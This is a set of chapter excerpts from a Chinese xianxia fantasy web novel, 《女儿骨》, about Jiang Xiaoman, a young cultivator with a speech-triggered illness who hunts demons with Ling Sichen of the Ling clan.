《女儿骨》 1. 初逢怪病少女(1) 《女儿骨》全本免费阅读 那日的蓬莱仙岛,不再笼罩着往常的祥瑞之气,而是漫天肆虐的血雨与冰风。 晶玉砌成的台阶,一百二十级直通云霄,此刻却横七竖八铺陈着天兵的遗体。血水自其间无声流淌,汇成一条鲜红而扭曲的小河,顺着那台阶蜿蜒而下。 南天门前,是一身破损棘甲、疲惫不堪的魔君。 在她四周,密密麻麻的天兵围成圆阵,长矛与剑刃外指,铠甲在风中发出沉闷的响声。 那张明艳绝世的面容已被染红了一半,卷长的睫毛被凝固的血痂粘连在一块。若不是头上那对折断的犄角彰显着非凡身份,她俨然只是一个浑身伤害累累的人族女子。 膝盖上残留着断刃,每一步挪动都是折磨。右臂的衣袖空空如也,残肢早不知遗落何处。 她仅剩的左手指尖微动,想要再施那风卷云袭之邪术。 随着术法启动,无数雨滴于她周身云集。 紧急之刻,一柄银光闪烁的战戟横空而来,穿透了魔君破损的身躯,将她死死地钉在了辕柱之上。 那些原本快凝成利刃的水珠瞬间蒸腾消散。 她紧紧抓住扎在腹部的长物,试图将其拔起。那战戟雕刻着精细的仙家纹饰,在她拼命的拉扯下印上了圈圈血污,却依旧纹丝不动。 一口鲜血随咳嗽喷出,点点血沫溅落在冰冷的砖面上。 她放弃了拔出战戟,左手颤颤巍巍抬起。 还差一点。还差一点就能破了这该死的天门。 咻—— 一支闪耀着金光的箭疾速袭来,贯穿了她的手掌,又钉入了身后的石柱。 “魔头已是强弩之末,杀了她——!” 为首的、穿着一身金色战甲的天兵将领高声怒喝道。 随即,此起彼伏的呐喊和助威声在空中回荡,一波高过一波,振聋发聩。 “杀了魔头!胜利属于蓬莱仙界!” “胜利属于蓬莱仙界!” 一帮蝼蚁。 她不屑哂笑,目光似要吃人的凶兽。 咻—— 咻咻咻—— 天将一挥手,霎时万箭齐发,如梭如瀑,倾泻而下。狠狠刺入她的身体各处,足、胯、腰、胸、肩、颈、甚至眼睛。 当疼痛早已覆盖全身每一处时,便再也感觉不到疼痛了。 只有心中熊熊燃烧的不灭怒火。 * “那东魔君何其强大,仅雪雨千针一招便令数百仙家兵将殒命。可在受了天元仙尊银龙神枪一击便倒地不起,又被万箭穿心射成了筛子一般,在南天门前终是断了气。自此,天下算是太平了。” 啪。 说书人将抚尺拍下,引得满堂喝彩。 这《天元仙尊斩杀东魔君》的桥段人尽皆知。据说终结了持续数十年的仙魔大战,为人间换来了五百年的安宁与祥和,不仅是在这扬州城,中原大地的任何一个角落,都能听到有说书人叙说这段传奇故事。 只是今日这说书堂,倒有些个年轻的小辈在窃窃私语。 “这老头讲的故事,和最近流通的《三界话本》里说的是相差甚远。”一人咂舌。 “三界话本里是如何说的?”一人问。 “书中说,四大魔君皆乃不死不灭之身。自那一役后,贼心未泯,如今已轮回转生到了人间,借凡躯潜伏,背地里谋划着东山再起,要屠了人仙两界复仇!” “啊,这么可怕!” “众所周知,那一战后蓬莱仙界也元气大伤,然而至今数百年都未有新仙飞升。我看啊,要是魔君重现,他们这回也难救咱们咯。” “这这,希望我有生之年无事发生最好……” 又一人凑近了来。 “三界话本?那不是被仙门诸家唾弃的民间野书吗?与其看那种东西杞人忧天,不如多关心关心咱们扬州城郊最近出现的水魔。据说短短十日吞食数十人,搅得人心惶惶、夜不能眠!” 咿呀—— 聊得正欢,有小童破门而入,惊得说书老先生端着的茶水都洒了一半。 那小童神色慌张:“水魔,水魔出现了!有仙家的人在诛魔呢!” 仙家,诛魔!? 这不比听故事有趣得多! 众人一拥而出。 留下说书老先生寂寥地品了口茶。 “一群没见过世面的东西。” * 众人风风火火赶至湖畔,才发现早已人头攒动。费尽周折,终于挤至前方,才恨今日天色晦暗,迷雾蒙蒙,湖心处仅隐约能见仙术光芒与朦胧怪影。 待雾气稍散,湖中景象方才渐显—— 原是一头漆黑的魔物正与一名青衣女子在湖心激战。 那魔怪周身散发着阴冷的光芒,癫狂地挥舞着如树干般粗硕的触手,在湖面激起惊涛骇浪,其嘶吼之声震耳欲聋。而那女子则是脚尖轻点湖面,于不远处轻盈而立,手执玉笛,破涛声中,一曲缥缈似幻。 待雾气更散了一些,众人才惊觉,原来在那怪物周遭竟有一只鹅黄色的雀鸟翩然而舞,这雀儿伴随着笛声,或飞蹿,或盘旋,游刃有余地躲闪着漆黑触手的突袭。 行人们窃语纷纷,好巧不巧,人群中混着一眼尖的“仙门通”,一瞥便识女子来历:“笛箫纵鸟、琴瑟控兽,那必是涂州姜家的弟子!” * 姜小满深吸一口气。 此时此刻惟有她自己,才能听见胸腔内咚咚响个不停的心跳。 纤指轻勾,笛声一转,原本如溪水缓缓流淌的音调忽急转直下,突透如利刃出鞘,那雀儿也随着变化的音律回头猛攻。它那尖喙和指爪皆被施予了破魔的法术,在那触手上轻轻一划即焚烧生烟。 那怪物痛吼连连,愈发狂暴地在水中翻腾,庞大身躯怒然如山崩海啸般向女修袭去。 姜小满正要闪躲,却见护主的的灵雀扑向自己。她急声呼喝:“月儿,回去!”话音落下,灵雀化作一缕金色烟雾,消散于空中。 同一刻,那触手砸下掀起的滔天浊浪将她震飞,瞬间天旋地转,耳畔风声呼啸,直至重重坠入冰冷的湖水。 湍急的浪水裹着泡沫呛入口鼻,姜小满扑腾着,刚从水中探出头,却被袭来的触手紧紧缠绕,卷于半空。 那怪物狰狞地张开血盆大口,转眼便要将她送入口中。 她奋力挣扎,双掌拍击着缠在腰间滑腻腻的触手,奈何根本使不上气力。 眼看那血盆大口越来越近,姜小满恐惧地闭上了双眼—— 一瞬,怪物的动作竟戛然而止。 凝滞的气息中,她先是一愣,又缓缓睁开双眼。 穿过弥漫的水雾,她隐约看见,那湿漉漉大口旁边似乎还有一对豆子大小的眼睛,静静地凝视着自己,已无了半分杀意。 一刹那,水魔的眸光竟牵引起她心底一丝莫名的熟悉感。 错愕间,她便与那怪物的双目愣愣对视着。 总觉得,当是在何处看过…… …… 嘭——!! 还未来得及惊疑,一声巨响划破沉寂,那怪物身躯竟在霎时从中爆裂。灼热浓稠的浆液溅了姜小满一身,触手瘫软滑落,她顺势再度跌入水中。 待她再次浮出水面时,却见那怪物已被劈成两段,死寂沉沉地漂浮在水中。油墨般的黑血浸染了周遭湖水,一圈圈慢慢扩散。 而那残躯之上,轻然立着一白衣剑客,年纪看起来和她相仿,丰神俊逸,杏目澄明,头上一束马尾用金丝红绳高高捆起,随风轻曳;手中则还握着刚刚斩下水魔、闪着凌冽寒光的银剑,那青竹般的身段一看就是春风得意的仙门少年郎。 如此果决的剑法,想必不是岳山凌家,便是玄阳宗的人。 管他来自哪派,只要不影响她的事便好。姜小满甩甩头,双手轻撑水面,借浮水术重新立起。 刚从绝处逃生,她还没来得及深呼吸几口气,却听眼前之人突然爆发出一阵狂笑—— “哈哈哈哈!!!” 她心中疑惑,只见那剑客伸手指了指她的面颊,又指向湖面。 狐疑中,姜小满低头看向水中的倒影,差点没被自己吓死:方才那魔物的黑血溅得她满脸都是,如同面团裹了一层炭灰。加上她现在衣衫尽湿,黏附肌肤,发梢滴水成串,其状比那水魔还要可怖。 寂静的空气中,对方笑声如铜铃,她却心如止水。 “好笑吗?”她面无表情——又或是一团漆黑看不出表情。 剑客笑容渐敛,眸中闪过一丝俏皮,嘴角轻撇,回道:“还行。” 姜小满不再理会,低头重回水中,用力搓洗着脸上的黑血。然而,那血迹如同深入肌肤般,顽固不化,纹丝不动。 “没用的。水魔之血吸纳了湖中受难者之怨气,非凡水所能洗净。”剑客将手中银剑收回鞘中,从腰际取出一只雕琢精美的玉瓶,轻巧抛向她,“用这个。” 姜小满抬手接过,那瓶身摸上去丝丝凉凉,又掀开瓶塞嗅了嗅,一缕淡淡的酸萝卜气味萦绕鼻尖。 她皱眉:“这是什么?” 剑客笑道:“青竹玉露霜,专断怨毒之气。” 姜小满心中一惊。青竹玉露霜乃是青州炼丹氏族文家所制的秘药,珍稀异常,这少年剑客 2. 初逢怪病少女(2) 《女儿骨》全本免费阅读 “咦,我没事?”姜小满难以置信地上下摸索着自己,小声嘀咕,“怎么可能……” 少年平日见惯了那些女修为了接近他们兄弟二人使出的种种伎俩,此时见眼前此女这番奇异举动,也只是冷然一笑,调侃道: “看来姜姑娘这病,今日算是痊愈了?” “不可能!绝无可能!”谁知姜小满的反应迅速且激烈,她的眼睛瞪得大大的,双手狂摇。 细细算来,她活了十九年,这怪病便伴了她十九年,已俨然成为她身体的一部分。她素未奢望过能有这么一天,能一口气说出如此多话身体还全然无恙。 除了梦中。 明白了,这一定是在做梦! 她狠狠拍向自己的脸颊。 痛!—— 再抬头,眼前之人的神色仿佛是在看傻子一般。 不是梦!? 难道,这跟随自己十九年该死的怪病,真的,痊愈了!? * —— “二位仙客!来这边!” 姜小满正心慌意忙百感交集不知如何应对,却听远处岸边便传来一声呼唤。 那声音穿透湖面的静谧,隐约可闻。 她微微一怔,转头望去,却见岸边此刻已聚集了众多围观之人。 那些看客显是被修者与怪物间惊险的打斗所震撼,纷纷对着湖中心的二人喝彩。人群最前沿,一名身着素锦官服的中年男子煞是显目,他身后立着一行高大威猛、维持着秩序的壮硕官兵,而他则向着湖中二人奋力招手,方才那声呼喊的正是他的声音。 凌司辰优雅地挥手回应,又回头莞尔一笑,用手指了指岸边,“既如此,不妨再找个生人试试?” 姜小满一愣。 倒是有几分道理? 凌司辰步法迅捷如燕,一个飞身便来到岸边。 那官人斥部下遣散了路人,向前笑呵呵行礼:“岳山凌二公子果真勇武过人,我便知这水魔绝非公子的对手,如今扬州百姓夜可安寝矣。请公子下山除魔当真是明智之举!” 凌司辰摆摆手,谦言道:“区区水魔,黄级魔物而已,不足为道。倒是我拜托林太守之事,不知可有着落?” “有了有了。”那林太守赶忙应和,刚要继续详述,忽然瞅见白衣少年身后一个若隐若出的黑脑壳。 凑近一看,原来是一个青衣少女躲在后方,乌黑而澄澈的双眸时不时紧张兮兮地看他两眼。 “方才就想问了,这位同公子并肩战斗的姑娘是……?” 凌司辰回头一看,嘴角勾起笑容。“你看,我差点忘了。这是家中小妹,此番也带她下山历练。她平常不太与外人交流,所以有些害羞。” 说着,他冲姜小满使了个眼色,“这位便是当今名满扬州的林太守,你去打个招呼?” 林太守闻听此言,颇感意外,五大仙门之一的岳山凌家赫赫威名,但他素来只听闻过凌家的三位公子,并未听说过还有一位小妹。 凌司辰见姜小满还依在他身后犹豫不决、畏畏缩缩,不禁啧了一声,随即伸手将她轻轻往前一推。 姜小满被这一推,趔趄着几步滑到了林太守的面前。 那林太守满脸堆笑,万般谦承道:“林某惶恐。凌小姐的剑艺卓绝非凡,颇有令兄的风采啊。” 虽然他实际并未所见全部的战斗,但对于如今世间景仰的仙门中人,先行奉承,总是不会有错。 却见眼前少女手脚发抖,下唇抿得苍白,小声道:“我不是……” “嗯?” 姜小满顿了顿,深引一息。 不管了,那便再试试! 她猛地咬紧牙关,脱口而出:“我不是凌家之人,我是涂州姜家的姜小满。我们姜家弟子也并不修炼剑术……” 话音刚落,却骤然面色一青,紧捂着腹部,痛苦地呻/吟起来。 来了,来了! “姑娘,你这是怎么了?”林太守还未从她先前的话语中回过神来,又忽然见她疼痛万分,一时慌了手脚。 “唔……”颤抖着发出一声闷哼,她只觉熟悉的痛感再次袭满全身,随之天地万物开始模糊—— 咚! 姜小满身子一软,直直地栽倒在地。 另外二人呆立在原地,一时手足无措,面面相觑。 “凌公子,我什么也没干呐,这……” 凌司辰也显然状况之外,双目震惊,口中低声喃喃,“不是吧……” * 她沉沉睡去不知多久。 咕哝咕哝,四周是不停向上冒腾的气泡。 这是……水里? 眼前是一动不动的庞然巨物,直直盯着她的,是那双熟悉的眼睛。 那双眼睛距离她不过数尺,能清晰地看见眸子里正倒映着漂浮的自己。 水魔。 咦,这水魔……为何在哭泣? 等等,它要走了? ……别走。 她还需要它的魔丹,星儿还在家中还等着她回去救…… * 当姜小满再次睁开双眼时,枕边飘来丁香结花散发的淡雅芳香。她侧过头,眨动着眼睛,眼前金色的光影缓缓变得清晰,原来是一盏金狮纹饰的竹雕灯笼,静静地立在床头不远处。 抬眸间,她看到床边坐着熟悉又陌生的白衣少年,手撑着脸颊正倚在幔柱上小憩。长睫毛轻轻下垂,此番倒是安静得宛如画中玉兰。 她扭动着身体坐起,盖在身上的雪缎丝绸被褥倏然滑落,露出了她一直着于身上的青色罗裙。 这一动作显然惊动了床边休憩的凌司辰,他一瞬便睁开双眼。 他站起身来,锐利的双目看不出丝毫疲惫。 见姜小满已无事,他露出一抹笑意,“醒了?你昏迷了一天一夜,若真有个三长两短,我还不知该如何向姜宗主交代。” 姜小满尚有些恍惚,神情中带着几分呆滞。 她目光迷离地扫过四周,乌檀木案几上散放的茶碗,镂空书架上种着丁香的瓷盆,还有绘有黄雀的棕竹屏风…… 倒是一间文雅而别致的卧房。 过了好一会儿,她才轻声询问:“这里是何处?” “扬州太守府的客房。”凌司辰靠在与床相对的案几边沿,双手环抱于胸前。“大夫来诊断过了,你心象忽然失衡,全身脉穴无故封锁,我替你输入了一些灵气才打通。” 他自嘲般轻笑了两声,“我原以为你只是随口胡说,没想到竟真有此病。” 姜小满却没接话。 她静坐于床,纹丝不动。 倒不是不想动,只是方才坐起来那一下,便感觉浑身筋脉如撕扯一般。 每次都是这样,这怪病后劲不是一般的大。 正因为如此,她这几年倒是都活得小心翼翼,能不开口就决不开口,能几个字说完便决不说一句话。 “你这病确实古怪,从未有所耳闻。”凌司辰手托着下巴,微微蹙眉,“不过,为何先前与我说话便无事?” 姜小满默不作声,白皙的手指紧紧绕在一起。 她哪里知道!亏她还真以为痊愈了呢,白高兴一场。 …… “你没事吧?”见她一直沉默不语,凌司辰小心试探道。 姜小满虽一言不发,但她的眼睛和脑子可没停下。 诚如爹爹所说,人之软肋,亦是利器。 至少这岳山凌二公子没把她扔在原地不管不顾,证明此人多少还有一些良心。 如此,不如再搏一搏,可不能白病一场。 “我痛死了……”她朱唇微启,双眼欲哭。 屋中气氛恬静,凌司辰抬手轻轻刮了刮鼻子。 “那个,抱歉啊。” 片刻,他回到床边缓缓坐下。 “我师父古木真人在医术上颇有造诣,要不,我带你上岳山请他老看看,就当是给此次害你恶病复发的赔礼。” 姜小满摇摇头,“不用了。” 她爹爹自小带她访遍了天下名医,乃至皇宫御医,甚至文家的三针圣手,都统统没用。除非他师父是蓬莱的仙人,不然又能有什么办法。 可这蓬莱大门紧闭数百年,既不让仙家子弟飞升,也不曾派神仙下界,说是人间和仙界完全断联了也不为过,这人间哪还有什么仙人在! “你连试一试也不愿吗?”见对方拒绝得无比干脆,凌司辰话语中难得带了些情绪。 姜小满眨眨双眼。 “赔礼,可以,魔丹。” “什么?” 姜小满抿抿唇,摊开白皙的手掌。 “水魔魔丹 3. 初逢怪病少女(3) 《女儿骨》全本免费阅读 坏了,一时太急,竟把话本里的内容给念出来了。 姜小满啊姜小满,都怪你整日待在家中、沉溺于三界话本里那些乱七八糟的故事。爹爹都说那是废书了,偏偏还看。 ……可是,真的很好看啊。 虽然她读的时候便好奇过,当年那雉羽仙子真是用这样一句话挽留住决绝离去的天元仙尊的吗?至少书里这样写,她便信了。 好像也确实管用,至少现在这人是停下来了。虽然脸色不大好看。 “你说什么?” 铁青的一张脸,分外尴尬的气氛。 “我,我背话本呢。”姜小满挠挠脸颊。 凌司辰脸色更差了。 他一言不发转身欲走,忽然似乎察觉到了什么,回首问道:“你那病……这次没发作?” 此话一出,姜小满亦是怔住。 不说她都没注意,方才一急,竟然一气呵成地念出好长一句。 她细细自察,从头至脚,是不是有哪里不适。但是——没有。 …… 姜小满刚想继续开口,却猝不及防地爆发出一阵咳嗽。 这声咳嗽让她颌下红涨,险些喘不过气。 往昔病发,常是腹中如刀绞,这次却是颈间郁气,脑中仿佛云卷风起……莫非,这病又新增异变? “别装了。”凌司辰摇头叹气。 片刻后,似乎看出不对,急忙上前一探她脖间脉象。 咳了一阵,姜小满稍微缓过气来,见眼前之人神情凝重,便有些许害怕。 “严重吗?” 凌司辰斜瞥了她一眼,面色逐渐放松。 “只是承光穴阻塞,并无大碍,放心。” 他转念细思,想是之前他替她输入灵气,却未料她内力稀薄到根本无法承受,才导致过量的灵气一时无法化开,从而阻塞了承光穴。 而承光穴阻塞本也不是什么大事,七日左右便能自行疏通。平日也无甚影响,大概是因为她方才高度紧张,进而引发气血周转不顺,才致使的爆咳。 只是,仙门人人皆会的御剑飞行术需靠此穴连接天地之气,怕是这七日都只能老老实实待在地上了。 不过,她那怪病未发之事他却颇为在意。难道她先前的晕厥不过是佯装?但其全身筋脉阻塞却显然真实无疑。 可为何,独独同他两次交流都无事发生? 趁白衣少年分神之际,姜小满一把握住他的手腕,纤细的手指将那雪革护腕紧紧箍住。 “放手。”凌司辰看了她一眼,妥协道,“我不走便是了。” 姜小满自是说什么也不肯放手。 …… 凌司辰看她抓得越来越紧,知是碰上了硬茬子。 不过,他心中正好另生疑问欲弄个清楚,便温声道:“那这样,你且试试再说个长句,说了,我便给你魔丹。” “真的?”姜小满一听,眼睛顿时亮了。 对方点了点头。 她转转眼珠,脑子飞快转了一圈。正巧,她也有同样的好奇与疑虑想再试试。 便清了清嗓子,悠悠回忆起几天前话本上刚看的片段,“云海战神一声怒喝,孽障休走!一剑劈过,雷霆烁空,金光万丈,直将西魔君自高空打落湘湖……” 她闭上眼睛迎击不适症状,却再次无事发生。 …… 凌司辰看着眼前之人,嘴角也不由勾起浅浅笑容。 “难得,你还知道云海战神。” 他低声继续道:“他飞升前曾是我凌家先人。只是,他和西魔君十天十夜的鏖战,非是如此三言两语能说清。” 姜小满抿抿嘴,也不接话,只等他兑现诺言。 凌司辰闭目思量良久。 一言既出,驷马难追。但是魔丹这种邪物,又岂能轻易给出去让人胡作非为? 他轻叹一声,算是认命。 “你恶疾突发确实是我之过,如今亦害你承光穴受阻无法御剑飞行。事已至此,便由我送你回涂州罢。” 姜小满显然对这答复颇为不满,张口正欲言,却被对方无情打断。 “送你回去的时候,我会当着姜宗主的面把水魔魔丹交予你,从此我们两清。你看如何?” 姜小满听完皱起眉头,心思则转动如飞。 ……此人甚是狡猾! 不过,水魔魔丹即便在爹爹手里,也比在他手中好拿多了。 她绽放笑颜:“成交!” * 十月乃夏秋交替之际,江南城郭,风景秀丽如画。 水魔一患已消弭,扬州城内,自是恢复了往日的繁忙与喧嚣。市井之中,车水马龙,行人熙攘,笑语不绝,好一座盎然之城。 “您的面来嘞。” 城内一家面馆内,两碗臊子面被店小二笑呵呵呈了上来,面弹肉香,盈溢满碗,冒着腾腾热气。 姜小满面无表情地用筷子夹起,嗦了一口。 坐在对面的人却不慌不忙,并不急着吃面,手中反复翻看着一沓油皮黄纸,细细琢磨着。 姜小满心中自是十分不悦。 明明说要送她回家,却不知怎的回事,都已经第三天了还赖在扬州城内。还有四天,她的阻塞的承光穴就自动解开了,这人该不会是想赖账吧? 大概是余光瞥见了姜小满直勾勾盯着他,凌司辰停下手中翻看的动作,抬眼问道:“怎么不吃,你先前不是喊肚子饿吗?” 她没好气地反问:“不是要送我回家吗?” 再说,就算之前是真的饿,这也吃了三天面了。何况天天都是臊子面,扬州城那么大,他也不带她吃点新花样,真是比不了她大师兄半点。 凌司辰目光回到手中的纸卷上,又倏地翻过去一张。 “急什么,等你承光穴开了,我再护你回去。” 姜小满一听,“吧滋”一口咬断吸起的面条。 “啊?原来你说的送我回去,不是指的你背我回去啊?” 大失所望,到头来还是要她自己御剑飞回去吗……她本就讨厌御剑,此番若非为了水魔魔丹,她是断不会向爹爹求着出门历练的。 况且,前些天被她药倒的师兄师姐们,此时想必是气急败坏地四处寻她,这会儿怕是已将至扬州,再不弄到魔丹就得被拎回去了,她能不急吗? 不过,这三天时间,倒是让她弄明白了一件神奇的事——不知怎的,与这凌二公子言谈,她那怪异疾病竟不会发作。 所以这三日下来,她与他的言话愈发顺畅,昔日不敢出口的长篇大论,如今也能侃侃而谈了。 …… 凌司辰只淡然地瞥了她一眼,便继续翻看手中的纸卷。 姜小满嘴中嚼着面条,目光却紧锁在对面专注的人身上。 她心中有诸多怨言,却又不免十分好奇——他手中所拿的究竟是什么东西让他如此着迷? 自当日告别太守府,林太守将这沓黄纸交在他手中时始,他便吃饭也看,走路也看,睡觉也——他二人于客 4. 梅雪山庄(1) 《女儿骨》全本免费阅读 她自然耳闻过地级魔诡音之名。这三十六地级魔如今皆为人间话本中的反派常客,只将它们描绘得一个赛一个的恶名昭著,她都能背了。 自五百年前仙魔大战结束后,天级的四大魔君消逝尘寰、或殒或封,如今地级魔便是残余在人间最强大的魔物。其或为四大魔君旧部,或为昔日魔界翘楚,即便是登峰造极的各位宗主们,若无蓬莱的神力辅助,与之一战也颇为艰难。 还有一点也些许特殊。 玄、黄等低级魔物以其奇形怪状之貌令人远观而生畏,然地级魔便狡诈多了,他们能变幻为人形,扮作人样潜藏于世。 但魔物终究是魔物,啖人血肉、食人精魄,即便伪装得再像人,一旦饥饿降临,其隐藏的獠牙终会暴露。 * 凌司辰低头俯身,拾起姜小满掉在地上的筷子,灵气轻挥,筷上尘垢顿净。 又缓言叙述—— “半年前兄长追击诡音,将其逼入绝境伤其左眼,却在最后关头坠河被一头水魔所救。此后数月,我与兄长四处寻觅,皆无其踪迹。” 他顿了顿,又道:“后来得知扬州出现水魔,极其凶残,短短半月食了数十人。你不觉得,这很蹊跷吗?” 姜小满接过凌司辰递回的筷子,又细细品索起他方才的言语。 确实,大多数的水魔行动缓慢,攻击性也不强,喜欢潜伏于深水之中,极少显露行踪。如此频繁地食人,实是前所未有之事。 也因此,寻觅水魔亦非易事。所以当得知扬州有水魔现踪,她便不顾一切也要赶来此地。 姜小满挠挠头,“所以你认为,这只水魔便是救走诡音那只?” 凌司辰并未直接作答,而是在众多纸卷中挑出一张。 “这是林太守给我的,此次水魔遇难者的名单。” 她疑惑着接过看了一看: 【…… 梅雪山庄宾客张仲九月廿四柳河水畔投河遇难 梅雪山庄短工简二郎九月廿六柳河水畔投河遇难 梅雪山庄丫鬟杏儿十月初一梅河水畔投河遇难 ……】 投河? 她又仔细看了几眼,确认自己没看错。 “这三个投河自尽的人竟也算在遇难者里?” “是。据目击者称,他们跳入水中便拼命挣扎,也不知是真的寻死还是一时失足。只是,挣扎不多时便被听见动静赶来的水魔给吃了。” 姜小满唏嘘地“啧”了一声。 惨,真惨。 扬州主城有柳、梅二河相汇,因此遇难者大多也都是城区之人,因行走在水畔遭到突然袭击。唯有此三人,居于城区百里开外的梅雪山庄中,周围群山环抱并无水源,然此三人竟赤足行了百里,从偏僻山庄行至城郊,然后主动投入河中。 蹊跷,实在是蹊跷。 好巧不巧,这三人都是出自这同一座山庄。这要说和传说中善使幻音诡法的地级魔诡音没关系,她也是断然不信的。 “太守也是心大,这都没派人去查一下这个山庄吗?”她喃喃道。 转念一想,若真派凡人前往,怕也是赶着白送。 “梅雪山庄因水魔祸乱已闭庄数日,好处是这几日庄内无人进出,坏处是外人也难以踏入。” 凌司辰收回那张名单,将一沓纸卷细细折叠,放入衣中。 “幸而,每月初八,岑家老夫人会依太守举荐,邀帝都名医上山为其诊疗。我已让林太守协助,阻截了那医师,你我二人假扮之,进庄杀魔。” 姜小满深呼吸一口,今日,便是十月初八。 她捻起最后几根面条,颤巍巍送入口中,嚼了不到几下便囫囵吞下。 水魔之前,她最多也就在家中训练场拿捉来的黄级小魔练练手,至今连玄级魔物都没在野外实战过,怎么就要稀里糊涂牵扯进地级魔的事件中了…… “就算被你猜对了,诡音确实在梅雪山庄中,但就凭你我二人,不是去送死吗?……‘狂影刀’那般厉害,怎没见他一起来?” 这“狂影刀”,说的便是凌家大公子凌北风。 如今这仙门中,记不全蓬莱五仙祖的大有人在,但不知道“狂影刀”的却寥寥无几。所谓“雪地逐风鹰,荒原灭离火”,其事迹在她众师兄口中,饭后茶余,谈之不衰。——诚如大师兄所言,连斩风鹰、离火两大地级魔之伟绩,可是连诸位宗主都望尘莫及。 想必他离羽化登仙,也就一步之遥了吧。若是哪天蓬莱忽然开了门,让他成为这几百年第一个成仙的人,姜小满也毫不意外。 若是有他这般猛人在,哪还需要苦苦玩什么身份扮演。 或者,再去搬点救兵?再不行,等一干师兄师姐们找她找至此处,汇聚众力,也比两人孤军奋战的好。 听她言及凌北风,凌司辰神情微有波动,却稍纵即逝。 他终于是想起了跟前那碗快放坨了的面,取了筷子轻轻挑开,勉强尝了一口。 他边吃着边解释道:“诡音狡猾多端,不似寻常魔物一般鲁莽。它如今已是强弩之末,定是更加警觉。兄长的脸它认得,只怕还未等接近,便一溜烟遁走了。”末了,语中似乎还带了些不满,“再说,我也很厉害啊。” “……我能不去了吗?”姜小满眨眨眼睛。 凌司辰筷子一搁,铜钱随手往案上一扔,悠悠起身。 “随你,自行回客栈去吧。” “诶,等等!”姜小满转念一思,又拽住他衣角,“能先把水魔魔丹给我吗?万一你死了,我岂不是还是要去山庄替你收尸?” * 她最终还是去了。 凌司辰最后看她那眼神,比那冬至朔风还要寒冷,这要是不去,指定是等不回来人了。 而且,她也实在不想看着眼前的魔丹再飞走了。 希望最好的结果便是那诡音早就闻声逃走,他俩白跑一趟吧。 梅雪山庄座落于扬州主城以西,一座无名的幽静小山之巅。一路行来,翠柏环绕,溪水潺潺,山光水色,倒也不觉得疲乏。 途中,凌司辰向姜小满详述了山庄近况,才知道原来那岑三变已于六年前驾鹤西去,如今庄内之事大抵由其长女及其夫婿主理,而重要之事的决策之人仍是其结发之妻崔氏,也就是岑家老夫人。 岑三变膝下有一双女儿并无男丁,长女岑秋纳了赘婿,二女则待字闺中。 这大女儿岑秋同她父亲一样弹得一手好琴,亦是城中是赫赫有名的女先生,平时多给名门子弟授琴,只因近日山庄封禁,她也不得不暂停了教课之事。 而这罹难的三人,其中一人是曾经侍奉大女儿的婢女,名唤杏儿,一人是庄上新来的短工姓简,余下一人是一月前来山庄中交流琴艺的琴师张仲,乃隔壁梁州汤县人。 “岑老先生已经离世了啊。”姜小满感叹道。 遥想多年前她还是孩童的时候,父辈们自扬州伐魔归来,便对梅雪山庄岑先生之琴艺超群赞叹不已。言其沉醉于世间繁华、对修仙问道无半分兴趣时,爹爹还连叹了三句可惜。 这便是浮生无常吧。 …… 行了三个时辰,日头已西斜。天际渐染暮色,山峦披上金黄之霞。 二人终抵山庄之外。 但见那山庄门户巍峨,厚重的木门紧闭,两侧朱柱凛然,其间雕栏玉砌,别具雅致之风。而那悬于门上的牌匾,款款书有“梅雪山庄”四字,笔锋洗练,端庄大气。 姜小满还在打量着那牌匾,耳边忽传凌司辰的低声提醒。 “有结界。” 她张开双臂在身前使劲挥了挥,“有吗?没有啊。” 白衣少年扶额,数度欲言又止。 “……阻息结界。”良久,他才缓缓道。 “噢!”姜小满恍然大悟,这才将灵力聚于掌中轻轻探之,触碰到那层丝织般的结界时,不由目露惊奇。 这真不怪她,相比于用途广泛的阻物结界,设立于无形的阻息结界如今已鲜少有人使用,其构造相比前者也更加精妙绝伦。她只在书本中读过,如今也是第一次瞧见。 细细密密一层,如蛛网般环绕门楣,恰似一圈无形障壁,密而不漏,将山庄内外之气完美隔绝。 “咦,是谁设的?是请的仙门中人,还是……” 身旁之人淡言道:“反正不是凌家的结界。” 惭愧了,她并不善结界之术,所以是不是姜家的,她也辨不出来。不过,如今世上大户人家为图个安心请仙门修者来布界,倒也算不得什么新鲜事。 凌司辰准备上前,又似乎是不放心,回头问道: “一路上和你说的,你可还记得?” “记得。” 他便点点头,不再 5. 梅雪山庄(2) 《女儿骨》全本免费阅读 姜小满吓了个激灵,回过头去,正对上一张惨白又倦怠的人脸。 “你是何人,在此鬼鬼祟祟作甚?”那人点着灯笼,幽光照得面目更加阴森。虽然看着十分渗人,但那五官却是普通的凡人模样。 凡人,且是生人。对她来说还真不如魔物好对付。 她愣在原地,眨着眼睛,半天也吐不出一个字。 肩头的灵雀则颇为好奇地盯着眼前男子。 “她是方才那神医的药仆,是个哑巴。”旁边一个粗犷声音响起,竟是先前那马护院,倒是替她解了围。 “姑娘,你是与神医走散了吧,我且送你过去。”马护院阔步而至,先向那男子行了个礼,唤了一声“姑爷”,又不由分说想将她领走。 原来此人便是庄上岑家大女儿的赘婿,岑远。曾经的河北周家以贩卖木材显赫一度,如今却已日薄西山,这周远入赘后便改姓了岑。 姜小满趁马护院和岑远解释的空隙,偷偷多瞧了几眼身侧院墙。先前明显感觉此处魔气最是浓郁,想必这道院墙后便是诡音的藏身之处—— 不行,不能现在撤退,就近在咫尺了,多少得进去看一眼。 “走吧,姑娘。”马护院横眉冷目,并不给她机会。 她急了,却又不能开口。犹犹豫豫、可怜巴巴地看着马护院。 僵持时刻,大门方向忽然传来一阵敲门声。 咚咚咚!!—— 愈来愈响。 咚咚咚!!—— “谁啊?”马护院不悦地喝了一声。 * 马护院眉头紧锁,目生疑惑,倒是把姜小满晾在一边,转而按着刀柄往大门方向走去。 姜小满好奇地躲在一边,探头观望。 门户一开,只见一位皂袍男子徐然而立,头上戴的是华翠珠簪,脚上蹬的是细工花靴,腰间缠的是黄锦貂毛,半面蒙着铁镶玉的面具,只露出下半脸,手中玩弄着一把缎面折扇,好不招摇。 那模样和打扮,若是他下一句便忽然开口唱戏倒也毫不让人意外。 那铁面郎君微微含笑,手中扇子轻摇,向门内一脸怔然的马护院点头示礼。 马护院看到此人打扮,瞪着眼睛把他从头到脚扫了好几遍。 姜小满也看得愣愣的,却听身后岑远兴奋喊道: “是我寻来的人,快请快请!” 岑远三步并作两步至大门前,将那铁面郎君迎了进来。 可在他踏入门内的那一刻,姜小满肩上的灵雀便突然失去控制、扑闪乱窜,她不得不急忙将其收回封印的饰物内。 好在,那三人并未注意到她这边的异样,只听岑远娓娓介绍道: “马护院,这位便是我前日与你讲过的,千机阁的百花先生。最近家中不是戾气太重嘛,才请他来施法、除除煞气。” 